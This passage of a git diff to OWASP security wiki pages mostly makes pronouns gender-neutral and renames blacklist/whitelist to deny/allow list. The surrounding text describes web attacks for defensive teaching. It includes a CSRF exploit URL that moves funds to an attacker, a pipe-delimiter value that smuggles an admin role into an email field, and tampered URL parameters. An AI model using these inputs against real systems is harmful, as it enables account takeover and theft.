script that displays an Ad or a newly added section displays a cool offer if the user scanned -this QR Code with a specific targeted mobile application his account +this QR Code with a specific targeted mobile application their account will be hijacked. **3. SSL Stripping** @@ -220,7 +220,7 @@ forcing HSTS, but unfortunately a lot of web applications and services uses a CDN based QR image generation process. These CDNs itself are sometimes stored on a servers vulnerable to HTTPS Downgrading attacks. Attackers will find a way to downgrade these secure connections, -redirect the CDN URLs to his own QR Code, and since the QR Code is an +redirect the CDN URLs to their own QR Code, and since the QR Code is an image this will result in a “passive mixed content” hence the browser will not find any problems by viewing it on the web application login page instead of the original one. @@ -230,7 +230,7 @@ page instead of the original one. This is the most suitable attack vector for attacking users over Local Area Networks by exploiting the non secured websites and manipulate traffic, The attacker here is performing MITM (Man in the Middle Attack) -against his local area network, poisoning the traffic on the fly by +against their local area network, poisoning the traffic on the fly by injecting a JS file on every non secured web page. **6. Bad Implementation / Logic** @@ -242,7 +242,7 @@ add them as friends, until here it's normal and there are no problems, but when it comes to the login process it’s a big problem. Unfortunately, the application implemented the “login by QR code” feature on the same screen that you’re using to add a friend, so imagine -that someone cloned his login qr code and told you “Hey, This is my QR +that someone cloned their login qr code and told you “Hey, This is my QR Code, scan it to be my friend, you scanned it, Boom” you lost your account. @@ -250,9 +250,9 @@ account. As known, clickjacking is all about abusing the style of a sensitive web page hiding and covering and manipulating some elements to convince the -victim “for example” to change his account’s main email address and +victim “for example” to change their account’s main email address and password to the attacker’s one, but what if the attacker succeeded in -that and after a while he wants to login to the victim’s account and +that and after a while they want to login to the victim’s account and found that this account has 2 Factor Authentication feature enabled\!\!\! Of course the attack is ruined and the whole thing became useless. @@ -295,7 +295,7 @@ technology in the process . The purposes of this added step is to make sure that scanned QR code is generated in the same physical location as the mobile device that is doing the scan and therefore eliminating the possibility of a remote -attacker deceiving the user into scanning his qr code. +attacker deceiving the user into scanning their qr code. ![](NormalLoginScenario.JPG "File:NormalLoginScenario.JPG") @@ -317,7 +317,7 @@ phishing website. audio as it requires additional browser permissions. 6\. Even if the attacker tries to generate the authentication sound -based on the (User ID) he still lacks the private key. +based on the (User ID) they still lack the private key. ![](Mitigation_scenario.JPG "File:Mitigation_scenario.JPG") diff --git a/pages/attacks/Reflected_DOM_Injection.md b/pages/attacks/Reflected_DOM_Injection.md index e254ced9f7..c7d1788aeb 100644 --- a/pages/attacks/Reflected_DOM_Injection.md +++ b/pages/attacks/Reflected_DOM_Injection.md @@ -42,7 +42,7 @@ summary, when the attack is successful, the attack succeeds due to improper [data validation](Data_Validation "wikilink"). Arshan Dabirsiaghi surmised that vulnerability to this attack would -eventually surface in popular search engines during his presentation at +eventually surface in popular search engines during a presentation at [OWASP NYC AppSec 2008](OWASP_NYC_AppSec_2008_Conference "wikilink") and [AppSec Europe 2008](OWASP_AppSec_Europe_2008_-_Belgium "wikilink"), *Next Generation Cross Site Scripting Worms* (see also *[Building and diff --git a/pages/attacks/SQL_Injection.md b/pages/attacks/SQL_Injection.md index 38f5a2d0f3..a5dd357779 100644 --- a/pages/attacks/SQL_Injection.md +++ b/pages/attacks/SQL_Injection.md @@ -208,11 +208,11 @@ SELECT * FROM items WHERE 'a'='a'; One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allow list of safe values or identify and escape a -blacklist of potentially malicious values. An allow list can be a very +deny list of potentially malicious values. An allow list can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, -blacklisting is riddled with loopholes that make it ineffective at +deny listing is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can: - Target fields that are not quoted diff --git a/pages/attacks/Session_Prediction.md b/pages/attacks/Session_Prediction.md index 03ac03dbb4..b6168f010d 100644 --- a/pages/attacks/Session_Prediction.md +++ b/pages/attacks/Session_Prediction.md @@ -21,7 +21,7 @@ process, an attacker can predict a valid session ID value and get access to the application. In the first step, the attacker needs to collect some valid session ID -values that are used to identify authenticated users. Then, he must +values that are used to identify authenticated users. Then, they must understand the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it. Some bad implementations use sessions IDs composed by @@ -30,8 +30,8 @@ address. In the worst case, this information is used in clear text or coded using some weak algorithm like base64 encoding. In addition, the attacker can implement a brute force technique to -generate and test different values of session ID until he successfully -gets access to the application. +generate and test different values of session ID until they successfully +get access to the application. ## Examples diff --git a/pages/attacks/Session_fixation.md b/pages/attacks/Session_fixation.md index d9e51ecbbe..a514bbc2b3 100644 --- a/pages/attacks/Session_fixation.md +++ b/pages/attacks/Session_fixation.md @@ -89,10 +89,10 @@ the expected results. (1)The attacker has to establish a legitimate connection with the web server which (2) issues a session ID or, the attacker can create a new session with the proposed session ID, then, (3) the attacker has to send -a link with the established session ID to the victim, she has to click +a link with the established session ID to the victim, they have to click on the link sent from the attacker accessing the site, (4) the Web Server saw that session was already established and a new one need not -to be created, (5) the victim provides his credentials to the Web +to be created, (5) the victim provides their credentials to the Web Server, (6) knowing the session ID, the attacker can access the user's account. diff --git a/pages/attacks/Session_hijacking_attack.md b/pages/attacks/Session_hijacking_attack.md index bd58bbc486..435bd686c7 100644 --- a/pages/attacks/Session_hijacking_attack.md +++ b/pages/attacks/Session_hijacking_attack.md @@ -47,7 +47,7 @@ common are: #### Session Sniffing In the example, as we can see, first the attacker uses a sniffer to -capture a valid token session called “Session ID”, then he uses the +capture a valid token session called “Session ID”, then they use the valid token session to gain unauthorized access to the Web Server.
diff --git a/pages/attacks/Setting_Manipulation.md b/pages/attacks/Setting_Manipulation.md index c0c2727806..8b4bd84d5a 100644 --- a/pages/attacks/Setting_Manipulation.md +++ b/pages/attacks/Setting_Manipulation.md @@ -15,7 +15,7 @@ auto-migrated: 1 ## Description This attack aims to modify application settings in order to cause -misleading data or advantages on the attacker's behalf. He may +misleading data or advantages on the attacker's behalf. They may manipulate values in the system and manage specific user resources of the application or affect its functionalities. @@ -65,7 +65,7 @@ In this case the application uses a third party cryptographic random number generation library to generate user Session IDs. An attacker may block access to this library by renaming it. Then the application will use the weak pseudo random number generation library. The attacker can -use this weakness to predict the Session ID user; he/she attempts to +use this weakness to predict the Session ID user; they attempt to perform elevation of privilege escalation and gains access to the user's account. diff --git a/pages/attacks/Special_Element_Injection.md b/pages/attacks/Special_Element_Injection.md index 8401b1662e..a989598fbd 100644 --- a/pages/attacks/Special_Element_Injection.md +++ b/pages/attacks/Special_Element_Injection.md @@ -75,10 +75,10 @@ privileges and Alice has just user access: `Alice|87654321|alice@attack.com|normal|` `?>` -When a user wants to edit his profile, he must use edit account” option -in the “index.php” page and enter his login information. However, using +When a user wants to edit their profile, they must use "edit account" option +in the “index.php” page and enter their login information. However, using “|” as a parameter delimiter on email field followed by “admin” -profile, the user could elevate her privileges to administrator. +profile, the user could elevate their privileges to administrator. Example: `Username: Alice` @@ -90,7 +90,7 @@ This information will be recorded in “mem.php” file like this: `Alice|87654321|alice@attack.com|admin|normal|` The next time user Alice logs in, the application will acquire the -parameter “|admin|” as user profile, thus elevating her privileges to +parameter “|admin|” as user profile, thus elevating Alice's privileges to administrator profile. ## Related [Threat Agents](Threat_Agents "wikilink") diff --git a/pages/attacks/Web_Parameter_Tampering.md b/pages/attacks/Web_Parameter_Tampering.md index b9e5637424..de1d406033 100644 --- a/pages/attacks/Web_Parameter_Tampering.md +++ b/pages/attacks/Web_Parameter_Tampering.md @@ -52,7 +52,7 @@ manipulated by an attacker. ### Example 2 When a web application uses hidden fields to store status information, a -malicious user can tamper with the values stored on his browser and +malicious user can tamper with the values stored on their browser and change the referred information. For example, an e-commerce shopping site uses hidden fields to refer to its items, as follows: @@ -64,7 +64,7 @@ specific item, thus lowering its cost. ### Example 3 An attacker can tamper with URL parameters directly. For example, -consider a web application that permits a user to select his profile +consider a web application that permits a user to select their profile from a combo box and debit the account: `http://www.attackbank.com/default.asp?profile=741&debit=1000` diff --git a/pages/attacks/XPATH_Injection.md b/pages/attacks/XPATH_Injection.md index 1a2bd6228b..aa6021f54b 100644 --- a/pages/attacks/XPATH_Injection.md +++ b/pages/attacks/XPATH_Injection.md @@ -18,8 +18,8 @@ Similar to [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how -the XML data is structured, or access data that he may not normally have -access to. He may even be able to elevate his privileges on the web site +the XML data is structured, or access data that they may not normally have +access to. They may even be able to elevate their privileges on the web site if the XML data is being used for authentication (such as an XML based user file). diff --git a/pages/attacks/cross-site-request-forgery.md b/pages/attacks/cross-site-request-forgery.md index 7a08f3cb5d..6772513a83 100644 --- a/pages/attacks/cross-site-request-forgery.md +++ b/pages/attacks/cross-site-request-forgery.md @@ -162,7 +162,7 @@ order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the *bank.com* web application that is vulnerable to CSRF. Maria, an -attacker, wants to trick Alice into sending the money to her instead. +attacker, wants to trick Alice into sending the money to Maria instead. The attack will comprise the following steps: 1. building an exploit URL or script @@ -178,15 +178,15 @@ might be reduced to a request like: `GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1` Maria now decides to exploit this web application vulnerability using -Alice as her victim. Maria first constructs the following exploit URL -which will transfer $100,000 from Alice's account to her account. She +Alice as the victim. Maria first constructs the following exploit URL +which will transfer $100,000 from Alice's account to Maria's account. Maria takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time: `http://bank.com/transfer.do?acct=MARIA&amount=100000` The [social engineering](Social_Engineering "wikilink") aspect of the -attack tricks Alice into loading this URL when she's logged into the +attack tricks Alice into loading this URL when Alice is logged into the bank application. This is usually done with one of the following techniques: diff --git a/pages/controls/Blocking_Brute_Force_Attacks.md b/pages/controls/Blocking_Brute_Force_Attacks.md index 32790add62..76b763e5ee 100644 --- a/pages/controls/Blocking_Brute_Force_Attacks.md +++ b/pages/controls/Blocking_Brute_Force_Attacks.md @@ -82,7 +82,7 @@ For example, most Web sites return an "HTTP 401 error" code with a password fail This fools some automated systems, but it is also easy to circumvent. A better solution might be to vary the behavior enough to eventually discourage all but the most dedicated hackers. -You could, for example, use different error messages each time or sometimes let a user through to a page and then prompt him again for a password. +You could, for example, use different error messages each time or sometimes let a user through to a page and then prompt them again for a password. Some automated brute-force tools allow the attacker to set certain trigger strings to look for that indicate a failed password attempt. For example, if the resulting page contains the phrase "Bad username or password," the tool would know the credentials failed and would try the next in the list. diff --git a/pages/controls/Certificate_and_Public_Key_Pinning.md b/pages/controls/Certificate_and_Public_Key_Pinning.md index 8e6c19fbfd..b68e570ec5 100644 --- a/pages/controls/Certificate_and_Public_Key_Pinning.md +++ b/pages/controls/Certificate_and_Public_Key_Pinning.md @@ -157,19 +157,19 @@ and third was [Bit9's loss of its root signing key](http://krebsonsecurity.com/2013/02/security-firm-bit9-hacked-used-to-spread-malware/). The environment is not only hostile, it's toxic. -### When Do You Whitelist? +### When Do You Allow List? If you are working for an organization which practices "egress filtering" as part of a Data Loss Prevention (DLP) strategy, you will likely encounter *Interception Proxies*. I like to refer to these things as **"good" bad guys** (as opposed to **"bad" bad guys**) since both break end-to-end security and we can't tell them apart. In this case, -**do not** offer to whitelist the interception proxy since it defeats +**do not** offer to allow list the interception proxy since it defeats your security goals. Add the interception proxy's public key to your pinset after being **instructed** to do so by the folks in Risk Acceptance. -Note: if you whitelist a certificate or public key for a different host +Note: if you allow list a certificate or public key for a different host (for example, to accommodate an interception proxy), you are no longer pinning the expected certificates and keys for the host. Security and integrity on the channel could suffer, and it surely breaks end-to-end @@ -582,8 +582,8 @@ changes. If you don't have a pre-existing relationship, all is not lost. First, you can pin a host or server's certificate or public key the first time -you encounter it. If the bad guy was not active when you encountered the -certificate or public key, he or she will not be successful with future +you encounter it. If the bad person was not active when you encountered the +certificate or public key, they will not be successful with future funny business. Second, bad certificates are being spotted quicker in the field due to diff --git a/pages/controls/Detect_profiling_phase_into_web_application.md b/pages/controls/Detect_profiling_phase_into_web_application.md index 733b390502..998dd3aee4 100644 --- a/pages/controls/Detect_profiling_phase_into_web_application.md +++ b/pages/controls/Detect_profiling_phase_into_web_application.md @@ -20,7 +20,7 @@ The ideas proposed into this page can seems to be uncommon, aggressive or a little bit crazy in corporate environment (like a web banking) but the initial page author is personally convinced that if we can detect a profiling phase and send sign, to the originator, indicating clearly to -him that "*we know what is currently doing*" we must be able to stop +them that "*we know what is currently doing*" we must be able to stop attack before that it can cause damage. ## Introduction @@ -129,7 +129,7 @@ functionalities. If it's the case then: because in the store we only keep a digest) to a monitoring system in order to generate an alert and launch a review of the sender information in order to decide if aggressive defensive measure - should be taken against him, + should be taken against them, 2. We clean the store with the information of this sender (in order to avoid duplicate alert). Optionally it's possible to move information to archive storage type in order to perform global statistic @@ -198,7 +198,7 @@ for implementation details. ## We have detected a profiling phase then how application can defend itself? There several way to apply counter measures against an attacker in order -to bother him in his task and we can classify them according to their +to bother them in their task and we can classify them according to their level of invasion on the client. Invasive measures are not legal but it's very rare that an attacker file a claim against is target. @@ -207,7 +207,7 @@ level of invasion on the client. *Simply block connection to application* -Close TCP/IP connection or blacklist IP address. +Close TCP/IP connection or block list IP address. **Level 2: With invasion** diff --git a/pages/initiatives/code_sprint/wcs2014.md b/pages/initiatives/code_sprint/wcs2014.md index 6428445e30..163a947373 100644 --- a/pages/initiatives/code_sprint/wcs2014.md +++ b/pages/initiatives/code_sprint/wcs2014.md @@ -753,7 +753,7 @@ The grading can either be done automatically (for multiple choice) or be submitt * Ability to show different articles on the user's home screen -Now each user is served the latest article in her/his home screen. We need the ability for either the teacher/admin to be able to define what article each class is served. +Now each user is served the latest article in their home screen. We need the ability for either the teacher/admin to be able to define what article each class is served. * Gamification of the user's progress * @@ -765,7 +765,7 @@ The teacher/admin should be able to define a series of challenges (e.g. 2,5,3,1) * Tagging of articles, users, challenges -A user should be able to put tags on articles and challenges if he is a student and on users, classes, articles and challenges if he is a teacher. +A user should be able to put tags on articles and challenges if they are a student and on users, classes, articles and challenges if they are a teacher. Also the user should be able to search according to the tags. * Your idea here diff --git a/pages/initiatives/gsoc/gsoc2012ideas.md b/pages/initiatives/gsoc/gsoc2012ideas.md index 7602abc60a..38873c03fb 100644 --- a/pages/initiatives/gsoc/gsoc2012ideas.md +++ b/pages/initiatives/gsoc/gsoc2012ideas.md @@ -43,7 +43,7 @@ Something like Qt Demo but with KDE technologies. #### Knowledge Prerequisite: C++ is the main language of KDE, therefore the demo should be in C++. The more you know about C++, Qt, KDE and scripting (for Kross and KDE bindings demos), the better. -This idea encompasses so much different stuff the student is not expected to know everything before he starts coding (but will certainly know a lot when he's done!). +This idea encompasses so much different stuff the student is not expected to know everything before they start coding (but will certainly know a lot when they're done!). **Skill level:** medium diff --git a/pages/initiatives/gsoc/gsoc2013ideas.md b/pages/initiatives/gsoc/gsoc2013ideas.md index 3779929b00..d84165f89d 100644 --- a/pages/initiatives/gsoc/gsoc2013ideas.md +++ b/pages/initiatives/gsoc/gsoc2013ideas.md @@ -334,7 +334,7 @@ in this project we are going to build a ZAP extension for CMS scanning (with enh #### Expected results: -A ZAP add-on to help the user in the process of identifying vulnerabilities in his CMS with a : +A ZAP add-on to help the user in the process of identifying vulnerabilities in their CMS with a : * version Fingerprinting * Detecting Protection Measures Deployed by the site and there Vulns. (Firewalls ...) * Numeration of the version of the CMS @@ -779,7 +779,7 @@ An easy way for users to code their own plugins which will modify the appearance * Ability to show different articles on the user's home screen -Now each user is served the latest article in her/his home screen. We need the ability for either the teacher/admin to be able to define what article each class is served. +Now each user is served the latest article in their home screen. We need the ability for either the teacher/admin to be able to define what article each class is served. * Ability to define series of challenges @@ -787,7 +787,7 @@ The teacher/admin should be able to define a series of challenges (e.g. 2,5,3,1) * Tagging of articles, users, challenges -A user should be able to put tags on articles and challenges if he is a student and on users, classes, articles and challenges if he is a teacher. +A user should be able to put tags on articles and challenges if they are a student and on users, classes, articles and challenges if they are a teacher. Also the user should be able to search according to the tags. * Your idea here diff --git a/pages/initiatives/gsoc/gsoc2014ideas.md b/pages/initiatives/gsoc/gsoc2014ideas.md index ee5142a75c..b61e52c8e2 100644 --- a/pages/initiatives/gsoc/gsoc2014ideas.md +++ b/pages/initiatives/gsoc/gsoc2014ideas.md @@ -100,7 +100,7 @@ The grading can either be done automatically (for multiple choice) or be submitt * Ability to show different articles on the user's home screen -Now each user is served the latest article in her/his home screen. We need the ability for either the teacher/admin to be able to define what article each class is served. +Now each user is served the latest article in their home screen. We need the ability for either the teacher/admin to be able to define what article each class is served. * Gamification of the user's progress * @@ -112,7 +112,7 @@ The teacher/admin should be able to define a series of challenges (e.g. 2,5,3,1) * Tagging of articles, users, challenges * -A user should be able to put tags on articles and challenges if he is a student and on users, classes, articles and challenges if he is a teacher. +A user should be able to put tags on articles and challenges if they are a student and on users, classes, articles and challenges if they are a teacher. Also the user should be able to search according to the tags. * Your idea here * @@ -871,7 +871,7 @@ Since the ESAPI 2.x project is written in Java, a good knowledge of Java is esse #### Brief explanation: -OWASP Seraphimdroid is relatively new OWASP project regarding Android security. Seraphimdroid Android application should become mobile device safeguard, while on the other hand it should also provide user information and knowledge about security risks on his phone (in personalized way). The idea of security guard is based solely on heuristics, that most of the risks costing money and damaging user's privacy can be stopped without huge online database with signatures, and huge malware analysis lab. As part of this GSoC project, focus will be on finding way to stop as many risks that can cost money (premium calls, sms, ussd...) or harm user privacy as possible and to enhance UX of mobile application. +OWASP Seraphimdroid is relatively new OWASP project regarding Android security. Seraphimdroid Android application should become mobile device safeguard, while on the other hand it should also provide user information and knowledge about security risks on their phone (in personalized way). The idea of security guard is based solely on heuristics, that most of the risks costing money and damaging user's privacy can be stopped without huge online database with signatures, and huge malware analysis lab. As part of this GSoC project, focus will be on finding way to stop as many risks that can cost money (premium calls, sms, ussd...) or harm user privacy as possible and to enhance UX of mobile application. #### Expected results: diff --git a/pages/initiatives/gsoc/gsoc2016ideas.md b/pages/initiatives/gsoc/gsoc2016ideas.md index 5fac0ac6d2..a2b804e865 100644 --- a/pages/initiatives/gsoc/gsoc2016ideas.md +++ b/pages/initiatives/gsoc/gsoc2016ideas.md @@ -980,7 +980,7 @@ OWASP Seraphimdroid is well rounded security and privacy app, however, it lacks #### Brief Explanation: -OWASP Seraphimdroid is well rounded security and privacy app. The initial idea of the project was to provide educational platform for common users, where by using the application, users can learn about risks for their privacy and security. Some components already has some sort of explanation, which is educational. However, it lacks of uneatable knowledge source and some of the components that monitor user's behavior do not provide sufficient information. Idea of this project is to develop monitoring of user activity and an component that can warn user about risks if he does something risky. Also, mobile security knowledge base that can be updated remotely will be a huge new asset to the application. +OWASP Seraphimdroid is well rounded security and privacy app. The initial idea of the project was to provide educational platform for common users, where by using the application, users can learn about risks for their privacy and security. Some components already has some sort of explanation, which is educational. However, it lacks of uneatable knowledge source and some of the components that monitor user's behavior do not provide sufficient information. Idea of this project is to develop monitoring of user activity and an component that can warn user about risks if they do something risky. Also, mobile security knowledge base that can be updated remotely will be a huge new asset to the application. #### Expected Results: diff --git a/pages/initiatives/gsoc/gsoc2017.md b/pages/initiatives/gsoc/gsoc2017.md index 6013186af4..b3c004d24a 100644 --- a/pages/initiatives/gsoc/gsoc2017.md +++ b/pages/initiatives/gsoc/gsoc2017.md @@ -116,14 +116,14 @@ The PostgreSQL project has also released a list of [hints](http://www.postgresql **Instructions for mentors** If you're a developer and you wish to participate in Summer of Code, you can do it in two ways: the first and easiest is to make a proposal in the [https://www.owasp.org/index.php/GSOC2017_Ideas] page. Take a look at what the different OWASP Projects needs or what you feel should have. Feel free to submit ideas even if you cannot elaborate too much on them. -The second possibility is to be a mentor for a more specific idea. If you wish to do that, please read the instructions common to all participants and the Summer of Code FAQ. Also, please contact the project leader for your application or module and get the go-ahead from him/her. Then edit the ideas page, adding your idea. +The second possibility is to be a mentor for a more specific idea. If you wish to do that, please read the instructions common to all participants and the Summer of Code FAQ. Also, please contact the project leader for your application or module and get the go-ahead from them. Then edit the ideas page, adding your idea. Your idea proposal should be a brief description of what the project is, what the desired goals would be, what the student should know and your email address for contact. Please note, though, that the students are not required to follow your idea to the letter, so regard your proposal as just a suggestion. ### Mentoring If you wish to help us even more, you can be an OWASP mentor. We will potentially assign a student to you who has never worked on such a large project and will need some help. Make sure you're up for the task. -When subscribing yourself as a mentor, please make sure that your application or module maintainer is aware of that. Ask him/her to send the Summer of Code OWASP Administrators an email confirming to know you. This is just a formality to make sure you are a real person we can trust -- the administrators cannot know all active developers by their Google account ID. +When subscribing yourself as a mentor, please make sure that your application or module maintainer is aware of that. Ask them to send the Summer of Code OWASP Administrators an email confirming to know you. This is just a formality to make sure you are a real person we can trust -- the administrators cannot know all active developers by their Google account ID. If you would like to get an idea of what is involved in being a good mentor, be sure to read the [mentoring guide](http://write.flossmanuals.net/gsoc-mentoring/about-this-manual/). @@ -141,8 +141,8 @@ To subscribe as mentor, you need to complete a few easy steps. ## Instructions for OWASP Project Leaders -If you are an OWASP Project Leader, you may be contacted by developers in your project about an idea he wants to submit. -You should judge whether the idea being proposed coincides with the general goals for your OWASP Project. If you feel that is not the case, you should reply to your developer and suggest that he modify the proposal. +If you are an OWASP Project Leader, you may be contacted by developers in your project about an idea they want to submit. +You should judge whether the idea being proposed coincides with the general goals for your OWASP Project. If you feel that is not the case, you should reply to your developer and suggest that they modify the proposal. You do not need yourself to be a mentor, but we would like you to. ## Contact OWASP GSoC Admininstrators diff --git a/pages/initiatives/gsoc/gsoc2019.md b/pages/initiatives/gsoc/gsoc2019.md index 6f5859b8cc..3cc51c3d49 100644 --- a/pages/initiatives/gsoc/gsoc2019.md +++ b/pages/initiatives/gsoc/gsoc2019.md @@ -237,7 +237,7 @@ The second possibility is to be a mentor for a more specific idea. If you wish to do that, please read the instructions common to all participants and the Summer of Code FAQ. Also, please contact the project leader for your application or module and get the go-ahead from -him/her. Then edit the ideas page, adding your idea. +them. Then edit the ideas page, adding your idea. Your idea proposal should be a brief description of what the project is, what the desired goals would be, what the student should know and your @@ -251,7 +251,7 @@ If you wish to help us even more, you can be an OWASP mentor. We will potentially assign a student to you who has never worked on such a large project and will need some help. Make sure you're up for the task. When subscribing yourself as a mentor, please make sure that your application -or module maintainer is aware of that. Ask him/her to send the Summer of +or module maintainer is aware of that. Ask them to send the Summer of Code OWASP Administrators an email confirming to know you. This is just a formality to make sure you are a real person we can trust -- the administrators cannot know all active developers by their Google account @@ -289,10 +289,10 @@ To subscribe as mentor, you need to complete a few easy steps. ## Instructions for OWASP Project Leaders If you are an OWASP Project Leader, you may be contacted by developers -in your project about an idea he wants to submit. You should judge +in your project about an idea they want to submit. You should judge whether the idea being proposed coincides with the general goals for your OWASP Project. If you feel that is not the case, you should reply -to your developer and suggest that he modify the proposal. You do not +to your developer and suggest that they modify the proposal. You do not need yourself to be a mentor, but we would like you to. ## Contact OWASP GSoC Admininstrators diff --git a/pages/initiatives/gsoc/gsoc2019ideas.md b/pages/initiatives/gsoc/gsoc2019ideas.md index 8f75bf2566..ab841dd6d5 100644 --- a/pages/initiatives/gsoc/gsoc2019ideas.md +++ b/pages/initiatives/gsoc/gsoc2019ideas.md @@ -471,7 +471,7 @@ Adding new challenge pack / CTF for iGoat. It should be one point solution for l ## OWASP Seraphimdroid -OWASP Seraphimdroid is Android security and privacy app, with features to enhance user's knowledge about security and privacy on his/her mobile device. If you are interested in this project and working on it during Google Summer of Code, please contact Nikola Milosevic and express your interest. +OWASP Seraphimdroid is Android security and privacy app, with features to enhance user's knowledge about security and privacy on their mobile device. If you are interested in this project and working on it during Google Summer of Code, please contact Nikola Milosevic and express your interest. ### Idea 1: Anomaly detection of device state diff --git a/pages/initiatives/gsoc/gsoc2020.md b/pages/initiatives/gsoc/gsoc2020.md index 006b978f13..ce2249392d 100644 --- a/pages/initiatives/gsoc/gsoc2020.md +++ b/pages/initiatives/gsoc/gsoc2020.md @@ -230,7 +230,7 @@ The second possibility is to be a mentor for a more specific idea. If you wish to do that, please read the instructions common to all participants and the Summer of Code FAQ. Also, please contact the project leader for your application or module and get the go-ahead from -him/her. Then edit the ideas page, adding your idea. +them. Then edit the ideas page, adding your idea. Your idea proposal should be a brief description of what the project is, what the desired goals would be, what the student should know and your @@ -244,7 +244,7 @@ If you wish to help us even more, you can be an OWASP mentor. We will potentially assign a student to you who has never worked on such a large project and will need some help. Make sure you're up for the task. When subscribing yourself as a mentor, please make sure that your application -or module maintainer is aware of that. Ask him/her to send the Summer of +or module maintainer is aware of that. Ask them to send the Summer of Code OWASP Administrators an email confirming to know you. This is just a formality to make sure you are a real person we can trust -- the administrators cannot know all active developers by their Google account @@ -282,10 +282,10 @@ To subscribe as mentor, you need to complete a few easy steps. ## Instructions for OWASP Project Leaders If you are an OWASP Project Leader, you may be contacted by developers -in your project about an idea he wants to submit. You should judge +in your project about an idea they want to submit. You should judge whether the idea being proposed coincides with the general goals for your OWASP Project. If you feel that is not the case, you should reply -to your developer and suggest that he modify the proposal. You do not +to your developer and suggest that they modify the proposal. You do not need yourself to be a mentor, but we would like you to. ## Contact OWASP GSoC Admininstrators diff --git a/pages/vulnerabilities/Deserialization_of_untrusted_data.md b/pages/vulnerabilities/Deserialization_of_untrusted_data.md index 492991293d..28d7b95e47 100644 --- a/pages/vulnerabilities/Deserialization_of_untrusted_data.md +++ b/pages/vulnerabilities/Deserialization_of_untrusted_data.md @@ -116,13 +116,13 @@ A quote from `ArrayList` source (GPL2 license with classpath exception): private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8; ``` -Even if `ObjectInputStream` is overridden to perform look ahead deserialization with a white-list, `ObjectInputStream` itself, will allow an attacker to create a multidimensional array, with a size of `Integer.MAX_VALUE` and every array element it contains, to do the same, even if these arrays all contain the same object element reference (passing reference to cached, previously serialized objects, minimizes the stream bytes transferred), it will very quickly consume all available memory in the JVM. +Even if `ObjectInputStream` is overridden to perform look ahead deserialization with an allow list, `ObjectInputStream` itself, will allow an attacker to create a multidimensional array, with a size of `Integer.MAX_VALUE` and every array element it contains, to do the same, even if these arrays all contain the same object element reference (passing reference to cached, previously serialized objects, minimizes the stream bytes transferred), it will very quickly consume all available memory in the JVM. Fortunately `ObjectInputStream` can be completely re-implemented and overridden by subclassing, in this case the entire functionality of ObjectInputStream has to also be re-implemented to read [the Java serialization protocol](https://docs.oracle.com/javase/7/docs/platform/serialization). Since Java's Serialization uses implicit construction, whereby the first non serializable no argument super class constructor is invoked to create a child class instance (along with some unsafe magic), it prevents classes from checking their invariant's until after construction has completed. For this reason, the standard implicit Java Serialization API is flawed from a security perspective. -It is possible to create an `ObjectInputStream` that is backward compatible with current `Serializable` object's serial form, for security, it requires a new deserialization API, the exclusion of circular references, limits placed on array lengths and the object cache, all while allowing classes to check their invariants prior to objects being created, such that no object can be created in an illegal state. In addition, administrators will need to be able to reduce the classes available for deserialization to only those required to limit the attack surface, similar to white-listing or using Permissions. +It is possible to create an `ObjectInputStream` that is backward compatible with current `Serializable` object's serial form, for security, it requires a new deserialization API, the exclusion of circular references, limits placed on array lengths and the object cache, all while allowing classes to check their invariants prior to objects being created, such that no object can be created in an illegal state. In addition, administrators will need to be able to reduce the classes available for deserialization to only those required to limit the attack surface, similar to allow listing or using Permissions. ## Related [Controls](../controls/) @@ -143,7 +143,7 @@ private final void readObject(ObjectInputStream in) throws java.io.IOException { - Implementation: Make fields transient to protect them from deserialization. - Implementation: In your code, override the [ObjectInputStream#resolveClass()](http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html) method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like [SerialKiller](https://github.com/ikkisoft/SerialKiller). Note that while this can prevent gadget attacks, it cannot prevent DOS, as there are vulnerabilities within ObjectInputStream that allow an attacker to use up all available memory. - Implementation: Use a safe replacement for the generic `readObject()` method as seen [here](http://www.contrastsecurity.com/security-influencers/java-serialization-vulnerability-threatens-millions-of-applications). Note that this addresses "billion laughs" type attacks by checking input length and number of objects deserialized. Again this will not prevent DOS attacks on ObjectInputStream. -- Implementation: Use a Java agent to override the internals of ObjectInputStream to prevent exploitation of known dangerous types as seen in [rO0](https://github.com/Contrast-Security-OSS/contrast-rO0) and [NotSoSerial](https://github.com/kantega/notsoserial). Keep in mind that whitelisting is safer than blacklisting. +- Implementation: Use a Java agent to override the internals of ObjectInputStream to prevent exploitation of known dangerous types as seen in [rO0](https://github.com/Contrast-Security-OSS/contrast-rO0) and [NotSoSerial](https://github.com/kantega/notsoserial). Keep in mind that allow listing is safer than deny listing. - Implementation: Participate in the reimplementation of ObjectInputStream; Atomic Serialization is designed with security in mind from the outset, while maintaining Object Serial Form compatibility; note this is not a drop in replacement like those above, but likely to be the most secure option. ## References diff --git a/pages/vulnerabilities/Doubly_freeing_memory.md b/pages/vulnerabilities/Doubly_freeing_memory.md index 903442ba7c..2528708c66 100644 --- a/pages/vulnerabilities/Doubly_freeing_memory.md +++ b/pages/vulnerabilities/Doubly_freeing_memory.md @@ -15,7 +15,7 @@ tags: vulnerability, Doubly freeing memory Double free errors occur when `free()` is called more than once with the same memory address as an argument. -Calling `free()` twice on the same value can lead to memory leak. When a program calls `free()` twice with the same argument, the program's memory management data structures become corrupted and could allow a malicious user to write values in arbitrary memory spaces. This corruption can cause the program to crash or, in some circumstances, alter the execution flow. By overwriting particular registers or memory spaces, an attacker can trick the program into executing code of his/her own choosing, often resulting in an interactive shell with elevated permissions. +Calling `free()` twice on the same value can lead to memory leak. When a program calls `free()` twice with the same argument, the program's memory management data structures become corrupted and could allow a malicious user to write values in arbitrary memory spaces. This corruption can cause the program to crash or, in some circumstances, alter the execution flow. By overwriting particular registers or memory spaces, an attacker can trick the program into executing code of their own choosing, often resulting in an interactive shell with 